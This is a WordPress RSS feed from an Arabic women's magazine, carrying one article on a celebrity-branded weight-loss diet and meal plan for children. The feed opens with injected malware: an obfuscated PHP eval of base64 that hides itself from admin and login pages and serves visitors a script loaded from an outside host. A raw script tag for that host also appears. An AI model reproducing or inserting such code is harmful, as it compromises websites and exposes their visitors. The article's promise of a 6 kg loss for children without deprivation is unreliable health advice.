eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); 
<script src="//ak.akam60800.net/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>جوزال | حمية للاطفال</title>
	<atom:link href="https://jouzal.com/tag/%d8%ad%d9%85%d9%8a%d8%a9-%d9%84%d9%84%d8%a7%d8%b7%d9%81%d8%a7%d9%84/feed/" rel="self" type="application/rss+xml" />
	<link>https://jouzal.com</link>
	<description>مجلة نسائية عربية</description>
	<lastBuildDate>Sat, 27 Jun 2020 18:29:11 +0000</lastBuildDate>
	<language>ar</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png</url>
	<title>جوزال | حمية للاطفال</title>
	<link>https://jouzal.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>رجيم هنادي البدر للاطفال لتخسيس 6 كيلو بدون حرمان دايت صحي وآمن</title>
		<link>https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d9%87%d9%86%d8%a7%d8%af%d9%8a-%d8%a7%d9%84%d8%a8%d8%af%d8%b1-%d9%84%d9%84%d8%a7%d8%b7%d9%81%d8%a7%d9%84-%d9%84%d8%aa%d8%ae%d8%b3%d9%8a%d8%b3-6-%d9%83%d9%8a%d9%84%d9%88-%d8%a8/</link>
		
		<dc:creator><![CDATA[فاطمة عبد الحميد]]></dc:creator>
		<pubDate>Sat, 27 Jun 2020 18:29:11 +0000</pubDate>
				<category><![CDATA[تخسيس و رشاقة]]></category>
		<category><![CDATA[رجيم و حمية غذائية]]></category>
		<category><![CDATA[لايف ستايل]]></category>
		<category><![CDATA[اسباب زيادة الوزن عند الاطفال]]></category>
		<category><![CDATA[تخسيس الطفل]]></category>
		<category><![CDATA[تخسيس الكرش للاطفال]]></category>
		<category><![CDATA[تمارين تخسيس للاطفال]]></category>
		<category><![CDATA[جدول رجيم نيومي للاطفال]]></category>
		<category><![CDATA[حمية للاطفال]]></category>
		<category><![CDATA[دايت صحي للطفل]]></category>
		<category><![CDATA[دايت للاطفال]]></category>
		<category><![CDATA[رجيم الاطفال الصحي]]></category>
		<category><![CDATA[رجيم الاطفال هنادي البدر]]></category>
		<category><![CDATA[رجيم سريع للاطفال]]></category>
		<category><![CDATA[رجيم صحي للاطفال]]></category>
		<category><![CDATA[رجيم للاطفال]]></category>
		<category><![CDATA[رجيم للاطفال بدون حرمان]]></category>
		<category><![CDATA[رجيم للاطفال سالي فؤاد]]></category>
		<category><![CDATA[رجيم للاطفال سن 10 سنوات]]></category>
		<category><![CDATA[رجيم للاطفال سن 6 سنوات]]></category>
		<category><![CDATA[رجيم نيومي للاطفال]]></category>
		<category><![CDATA[رجيم هنادي البدر للاطفال]]></category>
		<guid isPermaLink="false">https://jouzal.com/?p=4545</guid>

					<description><![CDATA[رجيم هنادي البدر للاطفال.. تهتم الأمهات بصحة اطفالها الصغار، وتعي جيداً مدي خطورة السمنة عليهم، ودائماً ماتبحث الأم عن حمية غذائية صحية للتخسيس، وتخفيف الوزن بشكل آمن وصحي، دون الضرر بالأجهزة الحيوية وعوامل النمو. ويعانى الكثير من الآباء والأمهات من الوزن الزائد والسمنة لدى أطفالهم، وتكمن المشكلة في الخوف من إتباعهم نظام غذائي فقير في [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>رجيم هنادي البدر للاطفال.. تهتم الأمهات بصحة اطفالها الصغار، وتعي جيداً مدي خطورة السمنة عليهم، ودائماً ماتبحث الأم عن حمية غذائية صحية للتخسيس، وتخفيف الوزن بشكل آمن وصحي، دون الضرر بالأجهزة الحيوية وعوامل النمو.</p>
<p>ويعانى الكثير من الآباء والأمهات من الوزن الزائد والسمنة لدى أطفالهم، وتكمن المشكلة في الخوف من إتباعهم نظام غذائي فقير في محتواه من العناصر الغذائية اللازمة لاسيما في هذه الفترة من حياتهم، التي توجب تناولهم لغذاء صحي كامل في محتواه من جميع العناصر الغذائية اللازمة لنمو صحي وآمن.</p>
<h2>اسباب زيادة الوزن عند الاطفال</h2>
<ul>
<li>الإكثار من تناول الأطعمة الغنيّة بالدهون والسكريات.</li>
<li>قلة الحركة بسبب الانشغال في الانترنت وقنوات التلفاز.</li>
</ul>
<p>وقد تؤدي زيادة الوزن عند الأطفال إلى الإصابة ببعض الأمراض الخطيرة ومنها السمنة المفرطة في المستقبل، لذلك من الضروري التخلص من هذه المشكلة والحدّ من زيادتها للحفاظ على صحة جيدة ووزن مثالي، وبالتالي تجنب الإصابة بالأمراض.</p>
<p><strong><span style="color: #993366">شاهد ايضاً:</span> <a href="https://jouzal.com/%d9%81%d9%88%d8%a7%d8%a6%d8%af-%d8%a7%d9%84%d8%b5%d8%a7%d8%a8%d9%88%d9%86-%d8%a7%d9%84%d8%b7%d8%a8%d9%8a-%d8%a7%d9%84%d9%85%d8%aa%d8%b9%d8%af%d8%af%d8%a9-%d9%84%d9%84%d8%a8%d8%b4%d8%b1%d8%a9-%d9%88/">فوائد الصابون الطبي المتعددة للبشرة والشعر والجسم للكبار والاطفال</a></strong></p>
<h2>رجيم هنادي البدر للاطفال</h2>
<p>يتميز نظام new me الغذائي للأطفال بمرونته. يمكن استبدال الوجبات حسب رغبة الطفل بشكل بسيط.</p>
<p>السكر والدهون والشكولاتة والوجبات السريعة من أهم عوامل السمنة لدى الأطفال لذا يجب التقليل منهم.</p>
<p>المشروبات الغازية والعصائر المعلبة يجب منعها. لا تكوني صارمة مع طفلك خلال الحفلات، واجباره على الالتزام بالرجيم، فيجب ان يعيش حياته الطبيعية.</p>
<p>اشرحي للطفل الرجيم وأهدافه، اطلب مساعدته على تنفيذه. التزام الآباء بنظام غذائي صحي سيكون حافز وقدوة للأطفال.</p>
<p><strong><span style="color: #ff6600">يهمك ايضاً:</span> <a href="https://jouzal.com/%d8%b1%d8%ac%d9%8a%d9%85-%d9%87%d9%86%d8%a7%d8%af%d9%8a-%d8%a7%d9%84%d8%a8%d8%af%d8%b1-%d9%86%d9%8a%d9%88-%d9%85%d9%8a-%d9%84%d8%ae%d8%b3%d8%a7%d8%b1%d8%a9-10-%d9%83%d9%8a%d9%84%d9%88-%d9%81%d9%8a-%d8%a7%d8%b3%d8%a8%d9%88%d8%b9%d9%8a%d9%86-%d8%a8%d8%af%d9%88%d9%86-%d8%ac%d9%88%d8%b9-%d8%a7%d9%88-%d8%ad%d8%b1%d9%85%d8%a7%d9%86-2020/">رجيم هنادي البدر نيو مي لخسارة 10 كيلو في اسبوعين بدون جوع او حرمان 2020</a></strong></p>
<h2>جدول رجيم نيومي للاطفال</h2>
<p>يجب الإلتزام بجدول رجيم نيومي للاطفال بعد سن 6 سنوات، حتي الوصول للنتائج المطلوبة.</p>
<ul>
<li><span style="color: #00ff00"><strong> وجبة الإفطار:</strong></span> شريحتين توست مع البيض، أو الجبن، أو الزعتر، أو الفول، أو شرائح الديك الرومي مع خضراوات مثل (الطماطم، الخيار، الجزر.. الخ).</li>
<li>وجبة خفيفة بعد ساعة ونصف: 1 إلى 2 ثمرة فاكهة.</li>
<li>وجبة خفيفة ثانية بعد ساعة: كوب صغير من الكاكاو.</li>
<li><span style="color: #ff0000"><strong> وجبة الغذاء:</strong></span> حساء الخضروات مع كوب من الأرز، أو المعكرونة، أو البطاطا المشوية، مع المشويات منزوعة الجلد والدهون.</li>
<li>وجبة خفيفة: بطاطس محمرة بالشكل المفضل لطفلك.</li>
<li><span style="color: #0000ff"><strong>وجبة العشاء:</strong></span> اختاري بين المجموعات الغذائية الموجودة في الفطار، أو رقائق الذرة (الكورن فليكس) مضافة إليه الحليب بدون سكر.</li>
</ul>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>